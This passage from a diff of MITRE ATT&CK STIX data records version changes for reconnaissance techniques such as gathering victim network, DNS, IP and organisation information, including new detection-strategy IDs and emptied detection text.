"x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:57.975000+00:00\", \"old_value\": \"2025-04-15 22:27:33.795000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0857: Detection of Employee Names" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 15:45:17.628000+00:00", + "modified": "2025-10-24 17:49:08.938000+00:00", + "name": "Gather Victim Network Information", + "description": "Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1590", + "external_id": "T1590" + }, + { + "source_name": "Circl Passive DNS", + "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.", + "url": "https://www.circl.lu/services/passive-dns/" + }, + { + "source_name": "DNS Dumpster", + "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.", + "url": "https://dnsdumpster.com/" + }, + { + "source_name": "WHOIS", + "description": "NTT America. (n.d.). Whois Lookup. Retrieved November 17, 2024.", + "url": "https://who.is/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:08.938000+00:00\", \"old_value\": \"2025-04-15 22:38:13.461000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0869: Detection of Gather Victim Network Information" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0ff59227-8aa8-4c09-bf1f-925605bd07ea", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 15:47:10.102000+00:00", + "modified": "2025-10-24 17:48:24.404000+00:00", + "name": "DNS", + "description": "Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\u2019s subdomains, mail servers, and other hosts. DNS MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.(Citation: Sean Metcalf Twitter DNS Records)\n\nAdversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).\n\nAdversaries may also use DNS zone transfer (DNS query type AXFR) to collect all records from a misconfigured DNS server.(Citation: Trails-DNS)(Citation: DNS-CISA)(Citation: Alexa-dns)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1590/002", + "external_id": "T1590.002" + }, + { + "source_name": "Circl Passive DNS", + "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.", + "url": "https://www.circl.lu/services/passive-dns/" + }, + { + "source_name": "DNS-CISA", + "description": "CISA. (2016, September 29). DNS Zone Transfer AXFR Requests May Leak Domain Information. Retrieved June 5, 2024.", + "url": "https://www.cisa.gov/news-events/alerts/2015/04/13/dns-zone-transfer-axfr-requests-may-leak-domain-information" + }, + { + "source_name": "DNS Dumpster", + "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.", + "url": "https://dnsdumpster.com/" + }, + { + "source_name": "Alexa-dns", + "description": "Scanning Alexa's Top 1M for AXFR. (2015, March 29). Retrieved June 5, 2024.", + "url": "https://en.internetwache.org/scanning-alexas-top-1m-for-axfr-29-03-2015/" + }, + { + "source_name": "Sean Metcalf Twitter DNS Records", + "description": "Sean Metcalf. (2019, May 9). Sean Metcalf Twitter. Retrieved September 12, 2024.", + "url": "https://x.com/PyroTek3/status/1126487227712921600" + }, + { + "source_name": "Trails-DNS", + "description": "SecurityTrails. (2018, March 14). Wrong Bind Configuration Exposes the Complete List of Russian TLD's to the Internet. Retrieved June 5, 2024.", + "url": "https://web.archive.org/web/20180615055527/https://securitytrails.com/blog/russian-tlds" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:24.404000+00:00\", \"old_value\": \"2025-04-15 22:13:37.080000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0843: Detection of DNS" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e3b168bd-fcd7-439e-9382-2e6c2f63514d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 15:46:24.670000+00:00", + "modified": "2025-10-24 17:49:31.581000+00:00", + "name": "Domain Properties", + "description": "Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Where third-party cloud providers are in use, this information may also be exposed through publicly available API endpoints, such as GetUserRealm and autodiscover in Office 365 environments.(Citation: Azure Active Directory Reconnaisance)(Citation: Office 265 Azure Domain Availability) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1590/001", + "external_id": "T1590.001" + }, + { + "source_name": "Circl Passive DNS", + "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.", + "url": "https://www.circl.lu/services/passive-dns/" + }, + { + "source_name": "Azure Active Directory Reconnaisance", + "description": "Dr. Nestori Syynimaa. (2020, June 13). Just looking: Azure Active Directory reconnaissance as an outsider. Retrieved May 27, 2022.", + "url": "https://o365blog.com/post/just-looking/" + }, + { + "source_name": "DNS Dumpster", + "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.", + "url": "https://dnsdumpster.com/" + }, + { + "source_name": "Office 265 Azure Domain Availability", + "description": "Microsoft. (2017, January 23). (Cloud) Tip of the Day: Advanced way to check domain availability for Office 365 and Azure. Retrieved May 27, 2022.", + "url": "https://docs.microsoft.com/en-us/archive/blogs/tip_of_the_day/cloud-tip-of-the-day-advanced-way-to-check-domain-availability-for-office-365-and-azure" + }, + { + "source_name": "WHOIS", + "description": "NTT America. (n.d.). Whois Lookup. Retrieved November 17, 2024.", + "url": "https://who.is/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:31.581000+00:00\", \"old_value\": \"2025-04-15 22:22:22.764000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0847: Detection of Domain Properties" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 15:59:11.695000+00:00", + "modified": "2025-10-24 17:48:23.845000+00:00", + "name": "IP Addresses", + "description": "Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1590/005", + "external_id": "T1590.005" + }, + { + "source_name": "Circl Passive DNS", + "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.", + "url": "https://www.circl.lu/services/passive-dns/" + }, + { + "source_name": "DNS Dumpster", + "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.", + "url": "https://dnsdumpster.com/" + }, + { + "source_name": "WHOIS", + "description": "NTT America. (n.d.). Whois Lookup. Retrieved November 17, 2024.", + "url": "https://who.is/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:23.845000+00:00\", \"old_value\": \"2025-04-15 22:40:30.211000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0815: Detection of IP Addresses" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--6c2957f9-502a-478c-b1dd-d626c0659413", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 16:01:35.350000+00:00", + "modified": "2025-10-24 17:48:55.360000+00:00", + "name": "Network Security Appliances", + "description": "Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1590/006", + "external_id": "T1590.006" + }, + { + "source_name": "Nmap Firewalls NIDS", + "description": "Nmap. (n.d.). Chapter 10. Detecting and Subverting Firewalls and Intrusion Detection Systems. Retrieved October 20, 2020.", + "url": "https://nmap.org/book/firewalls.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:55.360000+00:00\", \"old_value\": \"2025-04-15 22:52:16.483000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0889: Detection of Network Security Appliances" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--34ab90a3-05f6-4259-8f21-621081fdaba5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 15:49:03.815000+00:00", + "modified": "2025-10-24 17:48:37.652000+00:00", + "name": "Network Topology", + "description": "Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1590/004", + "external_id": "T1590.004" + }, + { + "source_name": "DNS Dumpster", + "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.", + "url": "https://dnsdumpster.com/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:37.652000+00:00\", \"old_value\": \"2025-04-15 22:52:48.199000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0819: Detection of Network Topology" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--36aa137f-5166-41f8-b2f0-a4cfa1b4133e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 15:47:59.457000+00:00", + "modified": "2025-10-24 17:48:38.803000+00:00", + "name": "Network Trust Dependencies", + "description": "Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1590/003", + "external_id": "T1590.003" + }, + { + "source_name": "Pentesting AD Forests", + "description": "Garc\u00eda, C. (2019, April 3). Pentesting Active Directory Forests. Retrieved October 20, 2020.", + "url": "https://www.slideshare.net/rootedcon/carlos-garca-pentesting-active-directory-forests-rooted2019" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:38.803000+00:00\", \"old_value\": \"2025-04-15 22:53:01.571000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0828: Detection of Network Trust Dependencies" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 16:27:02.339000+00:00", + "modified": "2025-10-24 17:49:06.846000+00:00", + "name": "Gather Victim Org Information", + "description": "Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1591", + "external_id": "T1591" + }, + { + "source_name": "ThreatPost Broadvoice Leak", + "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.", + "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/" + }, + { + "source_name": "SEC EDGAR Search", + "description": "U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved November 17, 2024.", + "url": "https://www.sec.gov/edgar/search/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + 